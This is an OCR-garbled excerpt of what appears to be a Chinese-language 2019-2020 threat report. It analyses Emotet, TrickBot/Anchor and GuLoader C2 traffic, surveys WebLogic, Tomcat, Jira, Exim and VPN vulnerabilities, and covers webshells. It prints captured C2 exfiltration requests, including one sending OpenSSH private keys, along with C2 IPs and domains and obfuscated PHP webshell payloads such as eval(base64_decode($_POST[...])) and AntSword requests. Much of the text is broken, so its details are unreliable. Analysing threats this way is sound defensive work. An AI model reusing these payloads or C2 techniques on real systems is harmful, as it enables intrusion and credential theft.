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1cKm7tbHOKZLUoLLhdW3 fxWCcN@YKg2nILnede+gMQrj rlzBtuxSwWyzBh+aOuIlIbghwFDIjg2+No/eL]jkcHZg@hdkls5kA9cB/aidUMHkke/uiyxDOHvCwaKNrDjusvdY/K
+GmImafuBFKrM7LaygZUVk21M0f39zP0TxkcbybgQY43Lulozws@2BGyuHHKdKm+46HwWB fax5g9Ypd8XG2R2xVHxitxdW8uLh11ACIWDugXMi/30s7y049uZrqldyRF
User-Agent: Mozilla/4.8 (compatible; MSIE 7.08; Windows NT 6.2; WOW64; Trident/7.8; .NET4.0C; .NET4.@E; .NET CLR 2.8.58727; .NET CLR
3.0.30729; .NET CLR 3.5.30729)

Host: 186.23.186.99:443

Connection: Keep-Alive

Cache-Control: no-cache

22 Emotet I HTTH

i, dx

[ 1< FFEFFR
L2 )

(-0

HAE
[ E ¢ farsat
adx, [abpea)

sax i
aap, L4k
sad
ax
sdx, 1
acx, cffsst unk 40FATD ; Refersr: F
J Content-Typs! form: 4 boandary=ks
1 Aooapti lenfuhtml+aml, application/knl pq=0. 9, imsge/webp, * /¥ 1q=0, 8

1 Aooept-Langosge B —
1 Aoocept-Encoding: gaip, deflate

StrDecods
oy
23 Emotet HTTH
URL Header Emotet URLU URL
]
2019 5 Emotet C&C
] 9 Emotet ]
2020 2 Emotet Version5 ] wlanAPI WI-FI
)| C&C
]
Wi- Fi Emotet 1 USB

o
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J ] Emotet Wi- Fi
] Wi- Fi WlanEnuminterfaces
SSID
] Emotet ]
WLAN WLAN
)| ) Wi- Fi
04/16/2018 2018 5 4 VirusTotal
Emotet C&C IP Wi- Fi
)|
Emotet Control Flow Flattening
' ]
]
switch ]
Emotet C&C IP 8
1 Emotet PEM RSA |
AES 128 CBC SHA 1 1 RSA 1 AES
128-CBC SHA 1 Emotet cC C )
SHA 1 AES 128-CBC RSA AES
128-CBC |

struct Raw data

{
uint32_t victim_id_size; i ID
uint8_t victim_id[victim_id_size]; // ID +
uint32_t system_info; 1
uint32_t session_id; / ID
uint32_t version_date; 1l
uint32_t unknown_id; 1l
uint32_t procname_buffer_size; /I
uint8_t procname_buffer[procname_buffer_size];//
uint32_t module_id_array_size; //
uint8_t module_id_array[module_id_array_size]i/
}

Emotet LibLZF 1

o
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A%

struct Compressdata

{
uint32_t cmd_id; i
uint32_t comp_data_size; //

ID

uint8_t comp_data [comp_data_size]; //

}
Emotet AES 128 CBC
HTTP POST C&C ]
struct final data
{
uint8_t enc_session_key[0x60]; RSA AES 128-CBC
uint8_t comp_data_hash[0x14]; // Compressdata SHA 1
uint8_t encrypted_datal(]; /I AES128-CBC
}
Emotet POSTHeader
multipart / form - data FormName FileName ]

POST |/N6CPOXxZjbwfVZ/QMTAbrloDMIrdNOv/QgpHYMs5j1fuwlN9/ HTTP/1.1
Referfer: http://186.92.239.110/N6CPOXxZjbwfVZ/QMfAbr1oDMIrdNOv/QgpHYMs5]1fuwhd
Content-Type: multipart/form-data; boundary=--------------~——~~—~~——————-- 818468438615868
Oser-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/4.8; SLCC2; .NET CLR 2.8.56727; .NET
CLR 3.5.38729; .NET CLR 3.8.30729; Media Center PC 6.0; .NET4.8C; .NET4.8E)
Host: 18@.92.239.110:8080
Content-Length: 4644
Connection: Keep-Alive
Cache-Control: no-cache

————————————————————————————— 818468438615868

ontent-Disposition: form-data; name="jWSvgfkuTL"; filename="CaQo"

ontent-Type: application/octet-stream
=i...gH.|{"..B.A .r7B.=....W......R....i.s2..Cd.g..< ~Lo Aa09.00 G+ p....!.{x...L.G...&Y
....... 1.t AF 3T 2L TomG (... ] ... 4

Ao 1..... ... A.. .3 .BL@RT*.NW. .. %x...5...30..... £ +oonZaan
$..I...M.03..U..C W eee...icXe.g\o$<.4+...n. * 40, .m8D. .. T|qg..3..... )B.-Tv= Lak...oviaulMhL L. T
Covennnnnn FE: P o8U.1d....".0..6

LUscaspvio oL ). bHLclon L ] an@e el 13Fgm]...v-....{1=

I R 4V T#.1.46 ... .X].1..&. ./..F_.k...3... . %~ .. .%2. %X}D..C.8.#.t]..g..D..... 18.=<...
————————————————————————————— T T N T T

24 Emotet J
C&C 1 C&C RSA
AES 128-CBC AES 128-CBC SHA 1 ]
C&C
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struct c2_cmddata

{
uint32_t id; I ID
uint32_t command 1 ID
uint32_t payload_size; //
uint8_t payload [payload_size]; //
}
2FA J J
Emotet ] Emotet
]
2019 Emotet
]
2.2.2 TrickBot
TrickBot 2016 Dyre/Dyreza
]
TrickBot ] APT Lazarus
FING6 J
TrickBot Maa$S ]
TrickBot ]
] TrickBot
]
] Ryuk Ryuk TrickBot
]
TrickBot 1 TrickBot
Emotet- >TrickBot- >Ryuk Emotet
TrickBot TrickBot Ryuk
TrickBot Anchor/AnchorDNS TrickBot
Lazarus FING Emotet-- >TrickBot- >Ryuk

TrickBot  Gtagl
11 Anchor&AnchorDNS

Anchor 2018 TrickBot 1 Anchor
Metasploit Cobalt Strike
PowerShell Empire TerraLoader PowerTrick 1 AnchorDNS 2019 3
Anchor DNS C&C ]
&
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Anchor Anchor ]

Anchorlnstallen AnchorDelnstallen psExecutor memoryScrapet

Anchor WInHTTP loader/1.00 ' W%i%i%i /1001/ TrickBot
] C&C url BotID ]
memoryScraper PoS Anchor ]
OpenNIC C&C Installer DNS ]
] 4 C&C 51.254.25.11% 193.183.98.66 91.217.137.37
87.98.175.8%
memoryScraper TrickBot W%i%i%i WInHTTP
sender/1.01
Anchori memoryScraper TrickBot ]
Anchori AnchorDNS  TrickBot
1 GUID [Machine_NAME]_[Windows_Version].[Client_ID]
GUID

Anchor /anchor001/WIN- U23IQE491ENW617601.

825D06550FF3CF01C115B4A8E94A6B34

AnchorD | /anchor_dnsMWIN-

NS U23IQE491ENW617601.825D06550FF3CF01C115B4A8E94A6B34

TrickBot | /mor92/ DESKTOP

3UWCJIX8W10018363.E1CC0O8FA9D9468D2A146BC5729146B99
15 Anchor; AnchorDN§ TrickbotGUID

2 P 1 Anchori AnchorDNS Web
IPI ipinfo.iol ipecho.neti api.ipify.orgi
ip.anysrc.net 1 icanhazip.com 1  wtfismyip.com 1  myexternalip.com .
checkip.amazonaws.com  TrickBot web ]
3 C&C ] Anchori AnchorDNS ~ TrickBot C&C J
23.95.97.59 ] Anchor
C&C  TrickBot C&C squiDLL AnchorDNS  C&C chishir.com
]
4 Anchori AnchorDNSI TrickBot
]
5 C&C /1/ 1 Anchor 11/

o
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123456?BEBGET.fanchnrﬂﬂlf116938_wﬁl?ﬁﬂl.55EEBBBZDG3148432@ED9E2F9[C69844IIF

GgrCABOzFUgQX79ed4NRM75eLk9ji0LtS/ HTTR/1.
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: WinHTTP loader/1.@

Host: 51.89.73.157:443

HTTP/1.1 288 OK

server: Cowboy

date: Wed, 04 Dec 2819 22:25:00 GMT
content-length: 3

Content-Type: text/plain

f1/

25 Anchor

1

v Answers

8B36EG915A4051ABFD3EA611C2F6A1858B7DADBIBOBOBOBYBY. chishir.com: type A, class IN, addr 4.0.0.0
8B36E@915A4051ABFD3EA611C2FEA1858B7DADEIBIBIBIBIBY. chishir.com: type A,

v BB36E@915A4851ABFD3EAG11C2FEA1B58B7DADEIBIBIBIBIBI . chishir.com: type A,
Name: 8B36E@915A4@51ABFD3EAG11C2FEA1858B7DADBIBIBIBIBIES. chishir. com

Type: A (Host Address) (1)
Class: IN (8x88081)

class IN, addr 8.8.8.75
class IN, addr 12.47.49.47

72 @3 63 6f 6d 80 00 @1 0@ @1 c® Bc 80 @1 09 8l
80 @0 00 4f 00 04 04 B0 0@ 00 c® Oc 89 @1 89 8l
80 @0 00 4f 00 @4 03 @@ 0@ 4b c® @c 88 @1 89 ol
@B20 00 B0 80 4f 08 84 cB @c @8 81 8@ 81
80 @0 00 4f 00 @4 10 61 6e 63 c® Bc 80 @1 89 81l
80 @0 00 4f 00 B4 14 68 6f 72 c® @c 80 @1 89 81l
80 @0 00 4f 00 @4 18 5f 64 6e c® Oc 89 @1 09 81l
80 @0 00 4f 00 B4 1c 73 2f 57 cB@ @c 88 @1 88 o1
80 @0 00 4f 00 B4 20 49 4e 2d c® @c 89 @1 89 8l

26 AnchoiDNS

POST /MoOr92 /DESKTOP-3UWCIXE_Wl0018363, E1CCOBFASDRY 6802a146BC5720146809 /81 HTTR/1.1

ACCEpRT D WW

Content-Type: multipart/orm-data; boundary=-----—-—-———
User-agent: Mozillas4.0 Ccompatible; MSIE 7.0; windows NT 10.0; wingd;

Trident/7.0; .MET4.0C; .MWET4.0E]
Host: 203.176.135.102:808,
Content-Length: 210

Connection: Close

Cache-Control: no-cache

——————————— LUUFLEAQEUSRFHOA
Content-0Disposition: form-data; name="data"

——————————— UUUFLEAZEUSRFHOA
Content-pisposition: form-data; name="source"

OpenssH private keys

——————————— UUUFLEAQEUSRFHOA——

HTTP/ 1.1 200 OK

connection: close

server: cowhoy

date: Thu, 06 Feh 2020 21:56:09 GMT
content-Tlength: 3

content-Typea: text/plain

Py
27 Trickbot

MELERAIRS(2019-2020)
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Anchor payload psExecuton memoryScrapen TerraLoaden
Meterpreters PowerShell Empirge Cobalt Strike | psExecutor PowerShell
]
Anchor Lazarus PowerRatankba Lazarus TrickBot Anchor
1 Lazarus FIN6  Anchor ] FIN6 2016 FHreEye
] Anchor
PowerTrick Terraloader FING More_eggd
21 TrickBot
TrickBot ]
Emotet-- >TrickBot- >Ryukl
office ]
PowerShell Emotet] Emotet C&C
TrickBot ]
TrickBot ]
Ryuk payload ]
AdFind.exe Ryuk
TrickBot Emotet
IcedID/BokBot Ursnif  GozilSFBvR 2020 3 Fastloader
TrickBot
2020 3 BazarBackdoor Cobalt Strike
1 BazarBackdoor TrickBot
)|
31 TrickBot Gtag
TrickBot Gtag C&C gtag mor92

POST /mor92/DESKTOP-3UWCIXS_W160818363. E1LCCA8FASD9468D2A146BC5729146699/98 HTTP/1.1
Content-Type: multipart/form-data; boundary=aksgja8s8d8a8s97

User-Agent: KSKIIG]

Host: 283.176.135.182:8882

Content-Length: 4756

Cache-Contrel: no-cache

--aksgja8s8d8ags97
Content-Disposition: form-data; name="proclist"
28 TrickbotGtag
mor  Group ID TrickBot 92
]
Gtag 51 92% TrickBot 5 Gtag (jims liba totu
sati ono)l

o
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Gtag (TTH
)|
JIMXX1 ibXX1 totXX sinXX tinXX
IcedID/Bokbot JwmdXX Amadeyi FastLoadet
satXX¥ summl trgl Ostap JavaScript morXX
Emotet ]
TrickBot (MaaS) ]
Lazarus FING6
)|
Anchor TrickBot (Al in- one)
]
TrickBot
TrickBot TrickBot TrickBot
C&C Anchors AnchorDNSI BazarBackdoor ]
2.2.3 GulLoadew
GulLoader 2019 ] 2020
VB Loader ] VB
J CovID rar .iso J
GuLoader
lGuLoader Microsoft OneDrivel Google Drive

]
Remcos Formbooki Lokiboti AgentTela |
]
GulLoader shellcode
Key 0x922954C4
shellcode

NetWirel

shellcode )|

shellcode Dump IDA
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®
segll0: 00+ 00000037 C %
=eg00: 00+ 0000001 C TIETHETIIETIIET HETIHET)
segll0: 00+ 00000005 C Mhxld
=eg000:00-+- 00000025 C C:WhWFrogram Files\h\Qemu—gzahhgemu—ga. exe
=egl00; 00-+- 00000045 C Mozilla/S. 0 Windows HT B.1; WOWE4; Trident/T.0; rw:11.0) like Gecko
segll0: 00+ 00000008 C shell3?
seg00: 00+ 00000000 C wininet. d11
520000+ 00000008 C ntdll
segll0: 00+ 00000009 C kernel3?
£eg00: 00+ 00000309 C advapild?
segll0: 00+ 00000006 C W12
se g0 00+ 00000007 C user3?
520000+ 00000034 C ST R TR T I T IR T R TS T ) IET R T MR TOIE T ) 36T
5eg000:00-++ 00000023 C TIETIFET IR T T HET ST I3
=eg000:00--- QO00Q00C [ Startup key
=egl00:00--- 00000032 C Softwaret \Wicrozofth\Windows\\CurrentVer =i onh h\RunOnce
30 GulLoadershellcode 4y H
shellcode fs:[cO] 64 64 ]
1 1
0x10000~0x7FFFFO00 Hash 8
Hash J| ]
O0EDOSS 91FFz2
18827
FCEDF
OOEDEZEA
31 GuLoader b +
8 Hash 2D9CC76GDFCB8F1227AA3188 F21FD9203E17ADE®67F211858
A7C53F01 B3147510 B314751D vmtoolsdControlWndClass vmWare
)| 7 hash ]
12
=)0 FHOF
E: PUSH  EEX
EnX TZERE3Z. Enumf indows
FOF EaX
CME EAY,
QOEDQTO0
FUSH
OOEDOETZ SHORT < ExitProc >
32 6
DbgBreakPoini DbgUiRemoteBreakin patch
]l DbgBreakPoint 0x90

DbgUiRemoteBreakin patch  ExitProcess |

o
MELERAIKRS(2019-2020) o



JEF S RINGEANE

®
ntdll.dll Hook ] 3
0x9090C350
]
5 0x00E8
]
‘O0EDRE4S.
DOEDEE4S
OOEDRE:
DOEDEEAE [ SHOET OOEDEEQT
OOEDEESH CLI
OOEDEES] Moy DWOED FTE DS: [EE
OOEDEESS ;B MOV EYTE PTE L[S: [EEX
33 GuLoader fj * 1
5 OXEOFF 1 OxEOFF jmp
eax|
OOEDEE Ad
OOEDEEAT
Moy E&t,
mov ED¥, 0xTFFED300
DWORD FTE DS: [EDX]
E&X,
Ei¥
EDI, ESI
SHORT TCOZCEQS
AL, IL
36 GuLoader fj * 4
Hook ]
5 0OxO00BA J| OOEDG6EA7
MOV DWORDPTR DS:[EBX+0x5],0xBA DWORD Ox00000CBA
7C92CE93 MOV EDXQx7FFEO0300 MOV
EDX0Qx7F000000 |
MOV EAX,08 MOV EAX,0x4 |
Hook

o
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JEF M RMGEA

) )
ZwSetInformationThread ]
ThreadInformationClass 0x11 ThreadHideFromDebugger
]
CAProgram File§Qemu- ga\gemu- ga.exe J
10 CPUID 10 |
eax=1 CPUID ecx 31 1 ]
shellcode bugl
CONTEXT 6 DrOs Drly Dr21 Dr3s Drés Dr7
] 0 jmp eax eax
]
ProcessHollowing RegAsm.exe RegAsm.exe |
RegAsm.exe shellcode
)|
.binl

gozman_FuZlleeFhE40. bin

Offset o1 2 3 4 5 & 7 & 9 L B C I E F
00000000 8D A2 €0 Z6 BZ 49 Fi BEE E4 E3 E3 E1 E6 ED Ch 1E | DOehes I ?3&TiE
00000010 | 64 F6 84 A0 B2 5B 23 6D D2 CE 47 DA ©5 A6 18 1D j6. °[#mdicldi

000000Z0 DE EF 94 64 F3 A4 73 EE 18 7& 22 F7 EO DS 76 2D Bisdossi z'sadv—
00000030 0OE C7 OC DF FS 5D 29 59 €2 BS 03 A7 16 2D 2E 24 ¢ GBm])¥h, § -.3
oooooo40 | 37 D4 9E DI C4 A9 03 F4 60 DO 49 66 AC 73 9C E5 | 70£50A8 6 DIf-ocd

37 GuLoaderl’ bin ¢

0x40 PE

QO0EDR : By EAX,

OOEDE ] AE EEX, EBX

OOEDEAOD ; WORD FTE DS: [EAX+EERX],
OOEDEALL ] ME EEX,

OOEDBALT |- 3 SHOET OOEDEA4F
OOEDEALS EEX,

& ED
O0E
O0EFD
O0EFD
O0EFD 5 (]|
O0E [0} J 10 00
O0EFD Qg oo oo (]|
OOEFQQTO |00 (]|
O0E 3
Q0EFO S Program Canmo
t be run in D05
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Key shellcode ] Key
96 512 768 ]
gozman_FuzZUeePhB40.bin AgentTeshl
55 Imj (ztrinz, string, MemeryStresm, int) © beel bﬁbl:ilc static bool kuj(string kuw, string kus, MemoryStream kua = null

05) Iwalint, ref string, int) @ int bool 1t
00 resu H

:
e smtpClient smtpClient = new SmtpClient():
e NetworkCredential credentials = new NetworkCredential(<Module>
& smtpClient.Host = <Modules.(287816);
e smtpClient.Enablessl = false;
39 Guloaderl' AgentTesla
RegAsm.exe AgentTesla ]
2019 VBI Delphii C#1 AutolT Loader Loader
Loader ] GuLoader
]
VB Loader ntdll Hook 1 GuLoader
shellcode ]

o
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Web Web
] Web

Web Webshell

Web ]
Web )|

3.1 Web n >

311 T » nn Y

1, WebLogic
WebLogic Oracle application server
JAVAEE WebLogic J J Web J
Java ]
WebLogic 1
WebLogic
XML 1 2019 4 CNVD B Oracle
WebLogic wis9- async S CVE
20192725 CVE 2017-10271 ] UnitOfWorkChangeSet
CVE 20192729
Oracle
]
WebLogic T3 )| 2019 10 CVE 20192890
WebLogicjar WebLogicwsee.jaxws.persistence.PersistentContext.class
readObject readSubject readSubject
ObjectlnputStream.readObject ] T3
PersistentContext ] T3
CVE 2020- 25551 CVE 2020-27981 CVE 2020-29631 CVE 2020-280L CVE
2020-2884 |
2020 1 CVE 2020- 2551 ] RMI
CVE2017-3241 Oracle t3 ] CVE 2020-
2551 1IOP
]
Oracle WebLogic J

o
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WebLogicXXE CVE 2019 26471
CVE 2019 26481 CVE 201926491 CVE2019-2650 CVE2020-2949
CVE2019-2618 |
2] WebSphere

WebSpheae Application Server J Web
Java Servlets Web IBM ] l
Web ]
CVE 20194279
] WebSphere Application Server ND 9.0
8.51 WebSphere Virtual Enterprise V710
CVE 2019 4505 )|
CVE 2020-42761 CVE 2020- 4362
SOAP ]
websphere
)
31 Tomcat
CVE2020-1938 Apache Tomcat Aip Tomcat AJP
] webapp
webapp ]
]
CVE 20190232 Windows Metasploit
] AJP 7.8%  Tomcat
CVE 2020- 1938 )|
4) Coldfusion
TomcatCVE 2020- 1938 CVE 20203761 Adobe ColdFusion
AJP connectors | Adobe ColdFusion AJP
1 AJP
wwwroot Wwwroot isp
] ]

Coldfuson ICVE2019-7091 Adobe ColdFusion
FlashGateway Adobe ColdFusion
FlashGateway 1 CVE

20197839 JNBridge ColdFusion JNBridge

o
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3.1.2 ApacheSoftware Foundaton n >

ASF 2019 18000
300 100 CVE ) ASF

11 Apache HTTPServer
2019 4 Apache HTTP Server CVE
CVE 201902111 CVE2019 02171 CVE2019-021% CVE 201901971 CVE2019
01961 CVE 2019 0220 |

2.2
)|
Apache HTTP CVE 2019 0211
mod_prefork mod_worker mod_event PHP CGI ...
root 1 2019 4 Apache HTTP
GitHub WriteUp EXP ]
21 Apache Tomcat
EU FOSSA 2 Apache Kafka  Apache
Tomcat 1 Apache Kafka Apache Tomcat
Apache Tomcat CVE 20190232 Apache Tomcat
CVE 2019 0221 ]
CVE 20190232 Windows Metasploit
] AJP 7.8%  Tomcat
Apache- Tomcat Aip CVE 2020- 1938 ]
31 Apache Solr
2019 10 GitHub Apache Solr Velocity
Apache Solr
]
Apache Solr
Metasploit ] 2019 11 Apache Solr
CVE 201917558 Apache Solr CVE 2019 12409
]
41 Apache Axis
CVE2019-0227 Apache Axis 1 Axis
StockQuoteService.jws HTTP URL
ARP MITM HTTP Web

]

o
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Apache Axis ]
www.xmltoday.com ]
51 Apache Olingo

2019 12  Apache Olingo XXE CVE
CVE 2019 175541 CVE 2019 17555 CVE 2019- 17556 | Apache Olingo XXE CVE
201917554 ]

61 Apache POI

Apache POI14.1.0 ]
CVE 2019 12415 )

71 Apache Dubbo

Apache Dubbo 1 Java RPC

)|
5000 Dubbo ]

5176 194 66 | Dubbo

gadgets CVE 2019 17564 ] 2

)|
8l
2019 8 Black Duck Synopsys Struts
Struts ]
Struts
] Struts
Struts ]
2019 9 RiskSense ASF
]
] ASF
)|
Apache ShardingSpkre CVE 2020-1947 1 Apache Flink
1 Apache FreeMarker CVE2020-7799 1 Apache Log4j

CVE 201917571 1 Apache ShardingSphere
CVE 2020-1947 1 Apache SSI
]

3.1.3 Fastjson |

Fastjson Java JSON 1l 2017 Fastjson
1.2.24
autotype ]
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2019 6 Fastjson autotype
payloadl 1.2.68 safeMode
autoTypel 2020 6 1 Fastjson autotye
)|
Fastjson Jackson Fastjson
Jackson 1 Jackson Java java
xml  json
JDK )|
Jackson enableDefaultTyping  activateDefaultTyping jackson
databind CVE2020-10673 com.caucho.config.types.ResourceRef
JNDI
] activateDefaultTyping Java
1 jackson databind
]
3.1.4 WE
2019 9 OA )|
OA J J ]
)|
1L OA
1 OA A8
2019 6 A8+ Getshell
Getshell ]
2 e-cology OA SQL
2019 9 17 OA ]
e-cology OA BeanShell BeanShell
]
3 OA SQL
OA
)|
4 E cology OA
2019 10 24 e- cology OA ]
]
]
5 OA + RCE
&
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2020 3 OA
] OA OA
]
OA v1l
System Webshell
]
6 OA
]
21 JIRA
JIRA Atlassian J J
J J J 1 JIRA J
)| J 150 115 19,000
]
1 Atlassian Crowd
Crowd Crowd Data Center pdkinstall ]

Crowd Crowd Data Center ]
Crowd Crowd Data Center
1

2 Atlassian JIRA (CVE2019-11581)
2019 7 JIRA Atlassian Jira Server Jira Data Center
CVE 2019 11581
Jira Server Jira Data Center ]

3 Confluence Server and Confluence Data CenterLocal File Disclosure CVE 2019

3394
2019 8 28 Atlassian Confluence Confluence
Server Data Center ]
/ confluence / WEB INF
LDAP J atlassian user.xml
LDAP LDAP ]
4 Jira SSRF  (CVE2019 8451)
Jira /plugins/serviet/gadgets/makeRequest SSRF JiraWhitelist
Jira )
)|
5 Jira Importers Plugin (CVE 2019 15001)
Jira Jira JIM J
)|
Jira Server Data Center ]
&
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6 JIRA Servcie Desk (CVE 2019 14994)

CVE 2019 14994 JIRA Service Desk -
Service Desk JIRA ]
7 Jira CVE 2019 8449
8.4.0 Jira [ rest / api / latest / groupuserpicker
)|
JIRA JIRA
)
)

3l

1 Coremall
Coremail 10

] 2019 6 Coremail mailsms

1 )|
]

2 OpenSMTPD (CVE 2020 7247)

2020 01 29 OpenSMTPD github CVE 2020

7247 l OpenSMTPD RFC5321 SMTP
SMTP
1 CVE 20207247
root ]
3 Exim CVE 201910149
2019 6 Exim
CVE 2019-10149) root

execv() ROP ReturnOriented
Programming 1
315 VPN Y

VPN Virtual Private Network J

]l VPN
]
VPN VPN APT ]
2020 4 Darkhotel VPN ]
Pulse Secure SSL VPN VPN
session VPN
CVE 201911510
&
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https://www.cnblogs.com/dgjnszf/p/11031932.html

Web T 4538 0 s ¢ .

CVE 2019 11542
CVE 2019 11539
CVE 201911538
CVE 201911508
CVE 201911540
CVE 201911510
CVE 201911539 ]
Market Insights VPN 2018 2025
18.26% VPN J
J ]
3.2 Webshell [ p
Webshell Web ]
Webshell
Webshell Web
)
Webshell ] Webshell
]
Webshell ]
) Webshell
]
1
1 2011
C/s Webshell asp php
)|
Webshell ]
Webshell 2011 base64
]
WoPorwarded-ror: B B M. e rss"27 Bec: 2019 10:58:52 GAT
L e o0 ur R
Eomactlon e ot Leng: 48
Content-Length: 686 ->| /www/admin, /WWWroot
1=%40eva1%01%28base64_decodeX28%24_POSTH5BZ0XSDX29%29%38820-0G1uavoz2xQo mRp¢
402011 No

o
° MELERAIRS(2019-2020) .
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2 2014
2014

Webshell 1

2011

base64 decode

POST ,wmem ]
X-Forwarded-For:
Referer: h

Content-Type:

User-Aaent: Mozilla/5.0 (compatible;

Host:
Connection: Close
Cache-Control:

HTTP/1.1

app11cat1on;;;ﬁﬁW:Fofh-ur1encoded

Baiduspider/2.0; +http://=m

no-cache
Content-Length: 698

1=$xx%3Dchr (98) .chr(97).chr(115).chr(101).chr(54).chr(52).
chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101)
; Syy=$_POST;@eval/**/0($xx/**/0(Syy[z0])) ;&z0 mRpc3

3 2016
2016

POST ,
X-Forwarded-For -
Referer:

Content-Type:

Host:
Cache-Controi:
icontent-Length: 674

1=array_maj "ass"."ert".arrag( ev"
[QGTuav9zzxQoimRpc3BsYX1fZXJyl

2]

]
Webshell

412014

HTTP/1.1

app1‘|cat1on/x www-form-urlencoded
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search,Content-Type:

no-cache

"ATC\"\\\$xx%3D\\\"Ba". "SE6"."4_dEc"

2011 eval

RIIF/L.1L £UU UK

Date: Tue, 17 Dec 2019 11:07:25 GMT

Server: Apache/z 4. 39 (Un1x) OpenssL/1.1.1b
X-Powered-By: PHP/5.5

Connection: close

Content-Type: text/html

Content-Length: 148

->| /www/admin/ = wwwroot

Neo

Webshell

TTP/1.1 200 OK

Date: Tue, 17 Dec 2019 11:10:30 GMT
Server: Apache/2.4.39 (Unix) OpenssSL/1.1.1b
-Powered-By: PHP/5.5.38

text/html

icontent-Length: 148

‘X@Y/www/adm n/

"0dE\\\";

3JzIi w1 MCIpOOBzZXRfdG1 tZV9saw1pngwKTth1 hQSFB kaVSUO

42 2016
Base64
Base64
Webshell
]
5 Webshelll
1
J|

MELERAIRS(2019-2020)

Neo

Webshell

asp,jsp,php




WebTiE A 0 E ® :

GET /bea_wls_internal/securi.jsp?caijiji=383 HTTP/1.1
User-Agent: Mozilla/4.© (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.8; SLCC2; .NET C
2.0.58727; .NET CLR 3.5.30729; .NET CLR\3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.eC;

.NET2 ©.9.11079.201
Host
Accep.. _...,..._, Liage/gif, image/jpeg, =.2, */*; q=.2

Connection: close

HTTP/1.1 200 OK

Connection: close

Date: Wed, 26 Jun 2019 ©3:44:53 GMT

Content-Length: 16

Content-Type: text/html; charset=IS0-8859-1

Set-Cookie: JSESSIONID=LhyR4uKrWNpcbjyc2n9jL9imH8mOSLZCnu2050i1q0C8M14B9sx5!-867519832; path=/;
HttpOnly

913cf777. 7 o

Cin

43,

16 )

POST /bea_wls_internal/securi.jsp HTTP/1.1

Content-Type: application/octet-stream

Cookie: JSESSIONID=LhyR4uKrWNpcbjyc2n9jL9imH8mOSLZCnu2050i1q0C8M14B9sx5!-867519832; path=/;
HttpOnly

User-Agent: Mozilla/4.@ (compatible; MSIE 7.9; Windows NT 6.1; WOW64; Trident/5.@; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C;
.NET4.0E) QQBrowser/6.9.11079.201

Cache-Control: no-cache

Prag:

Host

Accept. tac iwus, wwage/gif, image/jpeg, *; q=.2, */*; q=.2

Content-Length: 8556 ;ka%:tggﬁgﬁ%
Connection: close VILETo

WahFp86zekhN2Jb@xpeViNu6rb2udcoQMtIbrgk8FufaXbypvOTkbaVxFGAOSWDFXu77TArE+01Pj32usID21i/
BCnOkMSpSLRcsBwp8pZ7WDnQmLkU/7PPMPEKAHAUYLERTg6bWDZ329apIdREQGKOXRhIRK/
BkOgEaaDEJC2TYVaYETePq4F9VindU02sPsW1Rr8mhSHcSkUSSUHzKViltFRogevw85dh9f7NdaTTY3+8aQsG02qGe7ZA0+2M
K+AtvkCzgtsS5cjABeqbk3xhNazMv+prayOCSRnhoScoAtaulwk9TBUSWXPOYdVPo@1pkGQINASHIE4QrXG9iB88+fDylmalkh!
FYE7TUQEWIhBbiojFby919C7ZMRBIJsT9sMNP1B7EenFbYHyr112b3k8oLbaj3Vsk11KNQdBTO93SoGUNMAYFOhW1BC8MSOTZEr
P+fKI8Mk6yglUFvpZZ8HUBLINIQbRA32cXddahP8HhbI1LF99HIrds2EDtcjOSkcQKNCHz7]jdoCygKsX2+MfeafFhNING/
BsY40kXcLPWVmzjudfQZ93G3uLoQH+021K63/h8/v7mNxz5)Bcs04BtdNg6zIahRLXCETpzHWUZZ0J4B6qFNGWS2fPg8eGPd/
PV1151YMI2+0tkPKo1MSrxKIDaaOZYWV8iIBNUxg2c6Cu30+/xnRfmOfPgYPcmMSDX01X/qeezrP84/
EPiAlLuhYLGUznhseK5035UG+nzwADXm319rR3UkeHFNa2LKt33yeAIogkTpZ5u331n1IfmiN7e7XqHNsD+YbolwF7IT75UMXYG
VAUDh8FX4h8TXNEO+4E sBiGOUGhG6Q0z043A1hHITOSLgZzaTsVVLIV7XAz4mfCFRTZL+USUBPSHTFfENtqtLk/
I+cUVUHT1kmsKSnm7eFh4t4/KRVHXnTM@aF8j Tbmarzs2D1MojlZznijyM/

[ 6qewPnQZ63kvmOPG+UETrA1BHXMCcX15AwpKKAGYMm1+1g51COqUMOQUP1Fweif2u141RCpX+]jvaX7t26DwkRhVaMNts5yRFRED
aTrdsVH/HgyG+NBy1CQWZc1QfkFbLmDCmpt2kGVgIyxX8dz5@XHPG/KuXjeAXuLxA6rS12Qbg6f/D8R1R/
pIB+KEHV8rgth10L8kIPKIRFpPT2/1y@nkWTTD+WORD1FsqG5LmDs1PhjfEhYBWTW70T/
npHh44BIYbTTIKBVBb4Q7tCgszh goFedzbi yeOuwo3QwMLMRQ51UdrSD8tWFbpg+1QfdnnLxY6RuVtMkkasTW7Pfw
FC2m3Ndswelb/xbIH3wPRQD1CQWZc1QfkFbLmDCmpt2kN4UhK8/

X

44 H

behinder java ]

#PRQD1CY

(
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16 + ]
Response Body |

key.ini
Behinder jar key ]

31

]
base64,chr,chrl6,rot13 ]

.| L 1 1 1

POST HTTP/M .1

Host:

Accept-Encoding: gzip, deflate

User-Agent: antSword/h2.1

Content-Type: application/x-www-form-urlencoded
Content-Length: 986

Connection: close

1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20a %3B
%7 D%3Bfunction%20asoutput()%7B6° RS d “2cho%20%22d1738f40%22%3Becho%20%40a
senc(%24output) %3Becho%20%225B 33 %L vou s rur wun_vuay, waDly 81 O e eobunnanne(%24_SERVER%S5B%22SCRIPT_FILENAME

%22%50)%3Bif(%24D %30 %30%22%22)%24D%3Ddimame(%24_SERVER%5B%22PATH_TRANSLATED%22%50)%3B%24R%30%22%7 B
%24D%7 D%09%22%3Bif(substr(%? AN AN0LICAN0LINOLIFELINOLT Rfnraach(range(%22C %22 %2 C%22Z%22)as %20 %24L)if(is_dir(%22
%7 B%24L%7 D%3A%: %30%22%2F %22%3B8%7D%24R. %30%22%09%
